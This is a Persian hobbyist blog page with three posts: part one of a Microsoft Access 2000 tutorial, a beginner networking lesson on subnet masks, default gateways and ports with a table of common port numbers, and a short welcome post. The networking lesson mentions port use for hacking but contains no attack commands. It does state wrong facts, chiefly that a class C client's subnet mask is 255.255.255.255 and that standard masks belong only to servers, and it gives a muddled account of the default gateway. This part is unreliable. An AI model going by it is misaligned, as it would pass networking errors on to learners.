comment نظرات ()
 
 
آموزش access قسمت اول
نویسنده : Hossein - ساعت ۱٠:٥٢ ‎ب.ظ روز چهارشنبه ٢٢ شهریور ،۱۳۸٥
 
آموزش اكسس ( بخش اول )
 



مقدمه


مديريت پايگاه داده ها (چه داده هاي متني يا تصويري يا غيره) شايد مهمترين كاربردي بوده است كه همواره از كامپيوترهاي تجاري خواسته شده است. به همين دليل در چند سال گذشته قبل از ظهور محيطهاي مبتني بر رابط گرافيكي شاهد حكومت زبان cobol بر امپراطوري كامپيوتر بوديم.

بعد از اين امر ظهور برنامه dBase و فروش حيرت آور آن خبر از همين احتياج مبرم به پايگاه داده ها مي داد.
باز در اين عرصه نيز شركت مايكروسافت بيكار ننشست و Access كه كاستيها و اشكالات برنامه هاي قبلي را برطرف نموده و كار با داده ها را به صورت فوق العاده اي راحت تر ميکند عرضه کرد.

اين برنامه كه همراه با كار در محيط كاملا گرافيكي ويندوز حتي قابليت نصب در شبكه و internet را نيز دارد بدون شك يك نياز شركتهاي تجاري, برنامه نويسان, طراحان صفحات وب و حتي براي اشخاص معمولي براي كنترل داده ها و اطلاعات خود بوده است.

من در اين دوره آموزشي شما را با قابليت access آشنا كرده و شايد اگر اغراق نكرده باشم شما را استاد اين برنامه بي نظير خواهيم كرد شما نيز لحظه به لحظه به آشنايي با قابليتهاي اين برنامه مطمئنا مشتاق ياگيري هرچه سريع آن خواهيد شد.
قابل ذكر است كه ما در اين دوره برنامه اكسس 2000 را براي آموزش انتخاب كرده ايم كه البته نسخه هاي ديگر اين برنامه فرق چنداني با نسخه 2000 آن ندارد و شما مي توانيد با يادگيري اين نسخه با ان نيز به راحتي كار كنيد. (البته توصيه خود من به استفاده از نسخه 2000 است)

آشنايي با اكسس

اكسس كه يكي از برنامه هاي موجود در بسته نرم افزاري آفيس( Microsoft Office ) است براي ساماندهي و كنترل و مديريت پايگاه داده ايجاد شده است.
اين برنامه داراي قابليتهاي بسيار است , مانند ايجاد صفحه ورود اطلاعات به شكل دلخواه.
به عنوان مثال وقتي شما مي خواهيد اطلاعات موجود در يك چك را در كامپيوتر خود ذخيره كنيد شما با استفاده از برنامه اكسس مي توانيد صفحه ای درست همانند صفحه چك ايجاد كنيد و اطلاعات را به صورت كاملا گرافيكي در آن وارد كنيد.
شما پس از ايجاد پايگاه داده هايتان حتي مي توانيد از آنها گزارش گرفته و يا در بين اطلاعات خود جستجو كرده البته تمامي اين امكانات را شما با دستان قدرتمند خود ايجاد خواهيدكرد.
از موارد استفاده برنامه اكسس به طور شهودي مي توان به استفاده آن در قسمت حسابداري يك شركت و يا نگهداري اطلاعات اشخاص عضو در سايتتان و حتي نگهداري اطلاعات كارمندان (حتي عكس آنها) و موارد بسيار متنوع ديگر اشاره کرد.
شما پس از ايجاد اين پايگاه داده حتي مي توانيد آن را در شبكه در اختيار ديگران قرار داده يا بر روي آن كليد رمز گذاشته يا حتي در سطح كاربران مختلف مقدار دسترسي هر كاربر را تعيين كنيد.
روش ادامه درس ما در جلسات بعدي به صورت زير خواهد بود:

ابتدا آشنايي با محيط اكسس و تسلط كامل بر آن
كار با help برنامه(به صورت مختصر)
آشنايي با پايگاه داده هاي نمونه
بررسي و كار با اجزاي اصلي
طراحي يك پايگاه داده جديد
كار با جدولها
كار با داده ها
كار با بازجست ها ( Query )
كار با فرمهاي ورود اطلاعات
كار با گزارشها
خودكارسازي با ماكروها
برنامه نويسي با مدولها
كاربرد پيشرفته اجزاي اكسس
حفظ امنيت در پايگاه داده
كار با برنامه هاي كمكي اكسس

سوالات خود را به طور كامل بيان كنيد تا امكان پاسخگويي به آنها باشد.

برای مطالعه ی این دوره ی آموزشی نیاز است کاربران محترم آشنایی مقدماتی با محیط Windows داشته باشند .
جهت نصب و اجرای نرم افزارهای Office که اکسس نیز شامل آن می شود ، نیاز به سیستمی با مشخصات ذیل می باشد :
- حداقل سیستم مورد نیاز پنتیوم 233
- 16 مگابایت Ram
- حدود 600 مگا بایت فضای آزاد

شروع کار با اکسس

در درس قبل با قابليتها و كاربردهاي اكسس آشنا شديد و ضرورت استفاده از اين برنامه در جهات مختلف زندگي آشنا شديد و با توجه به كاركرد راحت اكسس و شي گرا بودن آن اكسس نسبت به برنامه هاي ديگر مديريت پايگاه داده ها امتيازات بيشتري دارد.

مفهوم شي گرائي:

وقتي كه در مورد يك برنامه از مفهوم شي گرايي صحبت مي كنيم يعني در هنگام كار با آن همواره با شي هاي مختلف سروكار داريد و حتما لازم نيست كه زبان برنامه نويسي خاصي بلد باشيد يعني در واقع شي گرايي كنترل و مديريت اشيا و نحوه قرارگيري آنها به جاي استفاده از دستورات است. به عنوان مثال وقتي ما مي خواهيم در محيطي مانند faxpro يك دكمه ايجاد كنيم كه هنگام فشاردادن آن اطلاعات كاربري مشتري در جدول ثبت شود بايد دستورات بسيار پيچيده و ويژه اي بنويسيم ولي در محيط اكسس كافي است از قسمت ابزار با استفاده از شي دكمه (وسيله اي جهت ساخت دكمه هاي مختلف) اين دكمه را به راحتي ايجاد مي كنيم .

آغاز كار با اكسس:

شما بعد از نصب بسته نرم افزاري آفيس مي توانيد با رفتن به قسمت start سپس قسمت programs و انتخاب microsoft access وارد محيط اكسس شويد. البته بسته به نحوه نصب شدن برنامه ممكن است برنامه اكسس در قسمت ذكر شده نباشد و به صورت معمول اين برنامه در اين قسمت قرار مي گيرد.


با وارد شدن به محيط اكسس با پنجره اي مانند شكل 21 ظاهر مي شود كه به شما امكان مي دهد تا آنچه را كه مي خواهيد انجام دهيد انتخاب كنيد.گزينه هاي موجود در اين قسمت به ترتيب زير است:

1- Blank access database : با استفاده از اين گزينه شما مي توانيد يك پايگاه داده جديد ايجاد كنيد. 2

- access database wizards : با استفاده از اين گزينه شما مي توانيد با استفاده از جادوگر اكسس كه كار شما را بسيار آسانتر مي كند يك پايگاه داده بسازيد (بعدا به طور مفصل توضيح خواهم داد)

3- open an exiting file: با اين گزينه شما مي توانيد پايگاه داده اي را كه قبل ايجاد كرده ايد براي ايجاد تغييرات دوباره باز كنيد.

4- از كادر زير قسمت 3 شما مي توانيد پايگاه داده اي را كه به تازگي برروي آن كار كرده ايد باز كنيد. بعد از انتخاب گزينه مورد نظر شما بايد با زدن Ok به مرحله بعدي برويد. اگر هر خواستيد با زدن دكمه Cancel به محيط اكسس وارد شويد. (فعلا براي آشنايي با محيط اكسس Cancel را بزيند)
ضمن قابل ذكر است كه براي ساختن پايگاه داده جديد آنرا بايد در همان ابتدا ذخيره كنيد و اينگونه نيست كه بعد از پايان كار آنرا ذخيره كنيد.

آشنايي با محيط كار:


محيط كار اكسس همانطور كه در شكل 22 مي بينيد بسيار شبيه محيطهاي ديگر ويندوز است و كار با آن بسيار آسان است. حال به صورت كوتاه به معرفي قسمتهاي مختلف محيط كار مي پردازيم:


- ميله عنوان (Title bar): عنوان پايگاه داده در حال كار در اين قسمت ثبت مي شود و همچنين كنترل پنجره اكسس از همين قسمت صورت مي گيرد(چون فرض ما بر اين است كه شما بر محيط ويندوز و كنترل پنجره ها مسلط هستيد نياز به توضيح بيشتر نيست)

2- ميله منو (Menu bar): در اين ميله شما به وسيله منوهاي مختلف اقدام به ايجاد. كنترل و ويرايش پايگاه داده مي كنيد. در زير توضيح كوتاهي در مورد هر منو آمده است.

------------------

الف) File (فايل): فرامين لازم براي بازكردن و بستن پايگاه داده. دريافت داده از ساير پايگاه داده ها. ذخيره داده ها. تغيير خصوصيات پايگاه داده. چاپ و غيره ب) Edit (ويرايش): فرامين لازم براي ويرايش و وارد كردن داده ها
پ) View (مشاهده): فرامين لازم براي انتخاب اجزا مختلف پايگاه داده. تغيير خصوصيات پايگاه داده فعال و غيره را در اختيار شما مي گذارد.
ت) Insert (درج): فرامين لازم براي درج اقلام مختلف پايگاه داده
ج) Tools (ابزارها): فرامين لازم براي اجراي برنامه هاي كمكي مختلف. تحليل پايگاه داده. امنيت و گزينه هاي متفاوت پيشرفته پايگاه داده
چ) Windows (پنجره ها): فرامين لازم براي تغيير آرايش پنجره ها در محوطه كاري پايگاه داده
ح) Help (كمك): دسترسي به كمك مستقيم

-------------------

3- ميله ابزار (Tool bar): در اين قسمت تعدادي از فرامين ضروري و پراستفاده در برنامه قرار دارد. 4- محوطه كاري پايگاه داده: در اين محوطه بزرگ شما بر روي پايگاه داده كار مي كنيد و داده ها را به آن مي افزاييد و آنها را ويرايش مي كنيد.

5- دستيار: اين دستيار براي آن است كه شما سوالات احتمالي ممكن خود را به طور مستقيم از او پرسيده و او با جستجو در خود برنامه و همچنين اينترنت تا حد ممكن جواب شما را پيدا كند(البته به صورت انگليسي)

6- ميله وضعيت: در ميله وضعيت اطلاعاتي راجع به كاري كه انجام مي دهيد. نمايش داده مي شود. و همچنين خطاها را مشاهده خواهيد كرد.

توجه به اين نكته ضروري است كه در بعضي مواقع كه امكان استفاده از بعضي از فرامين موجود نمي باشد آنها به صورت غير فعال در مي آيند.
در اينجا بايد تين نكته هم ذكر شود كه شما در هنگام انتخاب فرامين از منوها هم مي توانيد با استفاده از ماوس آنها را انتخاب كنيد و هم از كليدهاي ميانبر استفاده كنيد. روش كار كليدهاي ميانبر با استفاده از كليدهاي Ctrl و Alt و حرفي كه در هر فرمان زير آن خط كشيده شده است شما مي توانيد به صورت خيلي سريع به فشار همزمان آنها به فرمان دسترسي پيدا كنيد. اين قابليت هنگامي مفيد است كه شما در محيط اكسس بسيار ماهر شده ايد كه ديگر نياز به استفاده از ماوس نداريد.

خروج از محيط اكسس:

شما مي توانيد با انتخاب فرمان Exit از منو File از محيط اكسس خارج شويد.

پایگاه داده های نمونه

در درس قبل كار با اكسس را آغاز كرديم و در مورد محيط برنامه صحبت كرديم. در اين درس قصد داريم ابتدا مختصرا در مورد Help در برنامه صحبت كنيم و سپس به صورت مفصل در مورد پايگاههاي داده نمونه كه در خود اكسس موجود است صحبت كنيم.

دسترسي به راهنما:

راهنماي برنامه براي كساني كه آشنايي كامل به زبان انگليسي دارند مي تواند مانند يك مرجع كامل و معتبر باشد مثلا هرگاه در مورد عملكرد پايگاه داده. طراحي جدول. يا تعريف بازجست مشكل داشتيد مي توانيد از راهنماي برنامه كه به زبان انگليسي ساده و روان نوشته شده استفاده كنيد و مسلما در مورد سوال شما چه در خود برنامه يا تحت وب جوابي پيدا خواهد شد. در اكسس راههاي مختلفي براي دسترسي به راهنما وجود دارد كه متداولترين آنها استفاده از منو Help است.كه فرمامين موجود در اين منو را شرح مي دهيم:

1- Microsoft access Help : اين فرمان دستيار را فعال مي كند در صورتي كه دستيار فعال باشد وارد سيستم راهنمايي مي شود. شما مي توانيد با انتخاب اين گزينه سوالات خود را از دستيار بپرسيد و او نزديكترين جواب را به سوال شما خواهد داد اين امكان بسيار مي تواند براي شما مفيد باشد و دستيار مانند يك شخص ماهر به تمامي سوالات شما به طريقي پاسخ خواهد داد.

2- Hide The Office Assistant: شما مي توانيد با استفاده از اين فرمان دستيار را مخفي كنيد و اين در مواقعي به كمك شما مي آيد كه دستيار قدرت ديد شما در محيط را كاهش دهد.

3- What`s This: با استفاده از اين گزينه ماوس شما به يك علامت سوال تبديل مي شود و هر كجايي از محيط كه كليك كنيد در مورد آن شما را راهنمايي مي كند.

4- Office On The Web: به كمك اين گزينه مي توانيد به سايت ماكروسافت رجوع كنيد و آخرين امكانات و اصلاحات در برنامه و همچنين متداولترين سوالها را بپرسيد.

5- Detect and Repair: با استفاده از اين گزينه اگر در برنامه اكسس شما ايرادي باشد به صورت اتوماتيك رفع مي شود.

6- About Microsoft Access: در مورد نسخه فعلي اكسس اطلاعاتي در اختيار شما مي گذارد.

يكي ديگر از راهنمايي ها كه در اكسس موجود است راهنماي شناور است به اين ترتيب كه با نگه داشتن نشانه ماوس بر روي يك فرمان به مدت چند ثانيه اسم و شايد راهنمايي كوچكي در مورد آن فرمان ظاهر شود. با توجه به اينكه بيشتر خوانندگان اين درس با محيط ويندوز و راهنماي آن آشنا هستند و راهنماي اكسس نيز مانند آن است من نياز بيشتري به توضيح نمي بينم.

سيري در پايگاه داده هاي نمونه:

در اكسس چهار پايگاه داده نمونه وجود دارد كه مي توانيد آنها را باز كرده. بررسي نموده و يا مورد استفاده قرار دهيد.(البته اين نكته قابل ذكر است كه شما حتما بايد در موقع نصب اين پايگاهها را انتخاب كرده باشيد تا نصب شوند وگرنه با قراردادن CD در درايو و نصب دوباره آنها كار را دنبال كنيد) اين پايگاهها براي كساني كه تازه شروع به كار با اكسس مي كنند بسيار مفيد است و چيزهاي مفيدي را در برمي گيرد.

بعد از نصب پايگاه داده نمونه شما مي توانيد با استفاده از منو File و گزينه Open به پوشه Samples در جايي كه اكسس را نصب كرده ايد رفته و پايگاه داده را بازكنيد(امكان دارد اين پايگاه داده به صورت پيش فرض در پايين ترين قسمت منو File موجود باشد) ما در اين درس به توضيح پايگاه داده Northwind خواهيم پرداخت.

قبل از شروع كار بايد اين نكته را ذكر كنم كه تمامي فايلها و جدولهاي اكسس در فايلي با پسوند MDB ذخيره مي شود.
پايگاه داده Northwind امكان تمرين با يك نرم افزار پايگاه داده كامل را به شما مي دهد. اين پايگاه داده يك نرم افزار كنترل موجودي براي شركت فرضي Northwind Traders است. بعد از باز كردن اين پايگاه داده كه ممكن است مدتي طول بكشد. صفحه ابتدايي ظاهر مي شود كه شما مي توانيد با كليك روي Ok اين پنجره را رد كنيد. بعد از اين كار پنجره Database اين پايگاه نشان داده خواهد شد. اين پنجره جايي است كه اكثر كارهاي اكسس در آن انجام مي شود. اين پنجره هفت شاخص دارد كه شما را به شش جز اصلي Access مي برد. اين پنجره در شكل 31 نشان داده شده است.



براي حركت در صفحات پنجره Database با ماوس برروي شاخصهاي كناري پنجره كليك كنيد. كلماتي كه در هر صفحه مشاهده مي كنيد. معرف جداول. پرسانه ها. فرمها. گزارشها. ماكروها و برنامه هاي خاص اين پايگاه است. مثلا نام يكي از جداول پايگاه داده Shippers است. اگر برروي هر يك از جداول دوبار كليك كنيد جدول مورد نظر باز مي شود.

ديگر موارد را نيز مي توانيد با دوبار كليك باز كنيد به جز ماكروها كه اين اشيا به دليل اينكه شما تازه كار هستيد از دسترسي شما حفاظت مي شوند و من پيشنهاد مي كنم زياد با آنها ورنرويد و اين كار را به زماني كه به طور كامل با عملكرد آنها آشنا شديد موكول كنيد.

هنوز انتظار درك پايگاه داده هاي نمونه را به طور كامل نداشته باشيد مثلا با كليك زدن مكرر به روي جدولOrders. Access جدول مورد نظر را نشان مي دهد كاري كه با اين جدول مي توانيد انجام دهيد اين است كه به سفارشات نگاه كنيد. جدول مانند يك صفحه گسترده الكترونيكي كه سطر و ستون دارد كار مي كند. با جدول كارهاي متنوعي مي توانيد انجام دهيد اما در اين مقطع فقط سعي كنيد با اكسس. منوهاي آن و صفحه رابط آن آشنا شويد. در ادامه دروس جزئيات لازم براي تسلط شما بر هر يك از اين موارد ذكر خواهد شد. شما در اين مرحله به تمامي فرمها و جدول يك نگاهي بياندازيد و سعي كنيد كه با انها بيشتر از قبل آشنا شويد.

در اينجا توضيحات من در مورد اين پايگاه داده به پايان ميرسه شما تا درس بعدي تمامي پايگاههاي نمونه را يك مرور كلي كنيد و با آنها آشنا شويد و اين نكته را از ياد نبريد كه عجله نداشته باشيد با تمامي قسمتها به مرور آشنا خواهيد شد تا اينجا كه شما مي توانيد در بين پايگاهها به راحتي گردش كنيد كار بسيار موثري انجام داده ايد.

از جلسات بعد بحث پيشرفته تري را در مورد اكسس شروع خواهيم كرد يعني تا اين قسمت دروس چيز خاصي را بيان نكرده ايم و فقط با محيط آشنايي كامل پيدا كرده ايد و كار اصلي ما از درس بعد شروع خواهد شد.(ضمنا كار با پايگاه داده هاي نمونه ديگر را فراموش نكنيد)


 
comment نظرات ()
 
 
شبکه
نویسنده : Hossein - ساعت ۱٠:٤٦ ‎ب.ظ روز چهارشنبه ٢٢ شهریور ،۱۳۸٥
 

مقدمه 

در اين درس Default Gateway , SubNet Mask را برسي خواهيم كرد، با Port ها آشنا شده و مهمترين آنها را معرفي مي كنيم.

Subnet Mask چيست :

Subnet Mask عددي است كه در واقع تعداد بيت (Bit) هاي Host ID و Net ID را مشخص مي كند و در كلاسهاي مختلف متفاوت است . اكنون Subnet Mask هاي استاندارد را در كلاس هاي مختلف مورد برسي قرار مي دهيم.

Subnet Mask در كلاسهاي مختلف :
Subnet Mask در كلاس A به صورت 255.0.0.0 است. يعني همان طور در درس گذشته گفته شد NetID، داراي هشت بيت است و بقيه بيت ا مربوط به HostID مي شوند.
Subnet Mask در كلاس B به صورت 255.255.0.0 است و در كلاس C به صورت 255.255.255.0 مي باشد.
دقت داشته باشيد كه اين
Subnet Mask ها مربوط به سرويس دهندها هستند. به عنوان مثال Subnet Mask ، با عدد 255.255.255.0 مربوط به سرويس دهنده اي (Server) است كه از IP كلاس C براي سرويس دادن به مشتري هايش (Client) استفاده ميكند نه به ما كه يك Host بر روي آن هستيم.
Subnet Mask يك Client كه روي IP كلاس C است 255.255.255.255 است ، يعني هيچ بيتي براي Host ندارد.
اگر اين مطلب را متوجه شده باشيد به راحتي مي توانيد Subnet Mask را در بقيه كلاسها به راحتي براي خود تحليل كنيد.

Default gateway :
Default gateway عددي (IP) است كه نشان مي دهد ما به كدام كامپيوتر متصل هستيم و از آن سرويس مي گيريم. به عنوان مثال Default gateway من در حال حاضر 213.215.173.1 است. يعني IP كامپيوتري كه من به آن Connect شده ام و از آن سرويس مي گيرم 213.215.173.1 است.

شروع مبحث Port ها:
پرت ها را مي توان به دروازه هايي براي ورود و خروج اطلاعات تشبيه كرد كه كامپيوتر با استفاده از آنها اطلاعات را دريافت و يا به بيرون انتقال مي دهد.
Port ها  در كامپيوتر به دو دسته كلي تقسيم مي شوند. يكي پرتهاي سخت افزاري و ديگري پرت هاي نرم افزاري.
Port سخت افزاري چيست ؟
پرت هاي سخت افزاري به پرتهايي گفته مي شود كه لوازم جانبي كامپيوتر مثل :
صفحه كليد، ماوس ، مانيتور ، پرينتر ، اسكنر و .. به وسيله آنها به كامپيوتر متصل مي شوند. براي هك كردن يك كامپيوتر اغلب از Port هاي نرم افزاري استفاده مي كنيم به همين دليل فعلا بيشتر از اين به مبحث Port هاي سخت افزاري نمي پردازيم.

Port هاي نرم افزاري چيست ؟
پرتهاي نرم افزاري به پرتهايي گفته ميشود كه در شبكه هاي كامپيوتري از آنها براي دريافت و يا ارسال داده ها از روي يك كامپيوتر به كامپيوتر ديگر استفاده مي شود. تعداد پرتهاي نرم افزاري 65535 تا است و هر كدام مخصوص سرويس خاصي در شبكه مي باشد.
به عنوان مثال Port شماره 80 براي ديدن صفحات وب به  كار مي رود ، Port شماره 110 براي دريافت E-Mail و ....
چگونه مي توان با استفاده از پورت ها ، به سرويس هاي مختلف دست پيدا كرد؟
هر پورت زبان خاص خودش را دارد كه ما با استفاده از دستوراتي كه براي هر پورت در نظر گرفته شده با آن صحبت مي كنيم. در بعضي مواقع اين دستورات در سيستم عامل هاي مختلف (Windows,Linux,.. ) با هم تفاوت هايي دارند اما اساس كار آنها يكسان است.
به عنوان مثال براي ديدن صفحات وب يك سايت ( يا به عبارت ديگر سرويس گرفتن از سرور وب آن) بايد پورت مربوط به آن را بدانيم . شماره اين پورت 80 است پس ما بايد با سرور وب (
Web Server) يك ارتباط از روي پورت 80 برقرار كرده و شروع به صحبت كردن با اين پورت كنيم.
فرض مي كنيم كه ارتباط ما در حال حاضر از طريق خط فرمان با پورت 80 برقرار شده، پس به صحبت با اين پورت مي پردازيم . به عنوان مثال به Web Server درخواست صفحه اصلي يا همان home Page  را به صورت زير مي دهيم    GET /index.html http/1.0
مثال بالا نمونه ساده اي از صحبت كردن با يك پورت بود.
حتما متوجه شده ايد كه اگر بخواهيم به روش بالا صفحات يك سايت را مرور كنيم هم وقت زيادي تلف مي شود و هم اينكه نتيجه كار براي ما سودي ندارد زيرا تنها كدهاي
HTML صفحه نمايش داده مي شوند و هيچ گونه شكل گرافيكي در خروجي وجود ندارد!!!!
براي رفع اين مشكل نرم افزارهايي به وجود آمده است كه پورت ها توسط آنها هدايت مي شود. يعني كار بر هيچ گونه دستوري را به طور مستقيم برروي پورت ارسال نمي كند. در واقع اين نرم افزارها رابط بين كاربر و پورت مورد نظر هستند و با دريافت و درخواست از كاربر آن را به صورت قابل فهم براي پورت ترجمه و آن را ارسال مي كنند. پس از ارسال درخواست پاسخي كه به صورت كد است از طريق همان پورت برروي كامپيوتر ها ارسال مي شوند. پاسخ پورت نيز توسط همان نرم افزار براي ما ترجمه شده و برروي صفحه نمايش نقش مي بندد.
پس از اين تعاريف بياييد به مثال قبل بازگرديم. ما مي خواستيم . صفحه اصلي يك وب سايت را نگاه كنيم اما پاسخ براي ما قابل فهم نبود و زمان زيادي را نيز طلب مي كرد.
حالا اگر از سيستم عامل ويندوز استفاده مي كنيد Internet Explorer يا (IE) خود را باز كنيد. IE يكي از محبوب ترين نرم افزارهاي تحت ويندوز براي مرور صفحات وب است كه در اكثر نسخه هاي Microsoft Windows يافت مي شود.
شما ميتوانيد از نرم افزارهاي مورد علاقه تان براي اين كار استفاده كنيد اما اين نكته هميشه ثابت است كه درخواست برروي پورت 80 فرستاده مي شود. حتما مي دانيد كه با وارد كردن نام يك سايت در Address Bar به راحتي مي توانيد صفحه اصلي آن را ببينيد و تنها با يك كليك به صفحات ديگر انتقال پيدا كنيد .
حالا يك بار براي خودتان كارهايي را كه IE  براي نمايش دادن يك وب سايت به شما انجام مي دهد را توضيح دهيد تا آن را به خاطر بسپاريد.
ضمنا توجه داشته باشيد كه اين مهم تنها پورت 80 شما را شامل نمي شود بلكه هر داده اي كه وارد كامپيوتر مي شود بايد توسط نرم افزار يا خود سيستم عامل ترجمه شود تا به صورت قابل فهم در آيد.

اين مطالبي كه تا اينجا خوانديد براي  آشنايي كلي با
Portها بود.

مفهوم Portهاي باز و بسته چيست ؟
Port باز : Port باز به Port ي گفته مي شود . كه بتوان با آن ارتباط برقرار كرد و از روي آن اطلاعاتي گرفته و يا برروي آن داده اي ارسال كنيم.
Port بسته : به پرتي گفته مي شود كه نتوانيم با آن ارتباط برقرار كنيم و در نتيجه از ارسال و دريافت داده برروي آن باز بمانيم .
براي اينكه مفاهيم بالا را بهتر متوجه شويد مثال زير را كه به طبان ساده بيان شده را با دقت بخوانيد:
همان طور كه گفته شد براي استفاده از سرويس هاي مختلف در اينترنت از
Port هاي مختلف كه هريك مخصوص يك سرويس هستند استفاده مي شود .به عنوان مثال من يك  POP3 Mailbox دارم. اگر بخواهم e-mail هايم رو بخوانم بايد به سرور ميل (mail server) وصل بشويم.
براي خواندن e-mail  هايي كه داخل POP Box من هستند بايد از Port 110 استفاده كنيم ، پس تا يك ارتباط  با Mail server Port 110  برقرار نكنيم نمي توانيم e-mail  هاي موجود در آن را بخوانم. همان طور كه گفته شد از نرم افزارهاي مختلف براي اين كار استفاده ميتوان كرد.
پس قرار بر اين شد كه من يك درخواست روي پورت mail server 110 اي كه از آن آدرس ايميل  دارم بدم تا  بتوانم ايميل هايم را بخوانم. خوب ، من يه در خواست به mail server  مي دهم و بعد از برقراري ارتباط به mail server ايميلهايم را ميخوانم.
حالا اگر در خواست دادم و سرور در خواست من رو قبول نكرد چي؟

اين ميتونه معنايش اين باشد كه پورت 110 سرور براي پاسخگويي آمادگي ندارد و اين يعني خواندن ايميل تعطيله چون پورت 110 بسته است.
از مثال بالا نتيجه مي گيريم كه اگر بخواهيم از يك سرور و يا حتي يك كامپيوتر خانگي اطلاعات بگيريم و يا روي آن اطلاعات بفرستيم بايد پورت  مربوط به درخواست ما باز باشد و به درخواست ما جواب بدهد.

آشنايي با پورت هاي مختلف :
براي اين كه با پورت هاي مختلف آشنا شده و ذهنيتي از يك پورت ليست داشته باشيد تعدادي از مهمترين پورتها را در زير برسي مي كنيم. در آينده با پورتهاي بيشتري آشنا شده و انها را به طور مفصل شرح مي دهيم :

Description Port Number Keyword
Echo

7

echo
Daytime

13

daytime
File Transfer

21

ftp
Telnet

 23

telnet
 Simple Mail Transfer

25

smtp
Trivial File Transfer

69

tftp
Finger

79

finger
World Wide Web HTTP

80

http
Post Office Protocol - Version 3

110

pop3


نكات مهم درس :
1- در اين درس تنها Subnet Mask هاي استاندارد برسي شدند. بنابر اين Subnet Mask هاي ديگري نيز وجود دارند كه در صورت لزوم در آينده آنها را توضيح خواهم داد.

2- باز بودن يك پورت دليل بر اين نيست كه ما مي توانيم حتما از آن اطلاعاتي دريافت كنيم.

3- Mail server ، سروري است كه mail box هاي ما در آن قرار دارد و web server سروري است كه يك سايت را برروي اينترنت نگه مي دارد.
 


 
comment نظرات ()
 
 
سلام
نویسنده : Hossein - ساعت ٢:٤٤ ‎ب.ظ روز شنبه ۱۸ شهریور ،۱۳۸٥
 
سلام این دومین وب سایت منه


من می خوام تو این وب مطالب با ارزش رو برای همه بزارم که بدردشون بخوره

اگه فکر می کنید مطلب آموزشی دارین که به درد کسی می خوره به من میل کنید تا تو وب بزارم

powerboy2988@yahoo.com  

متشکر

 
comment نظرات ()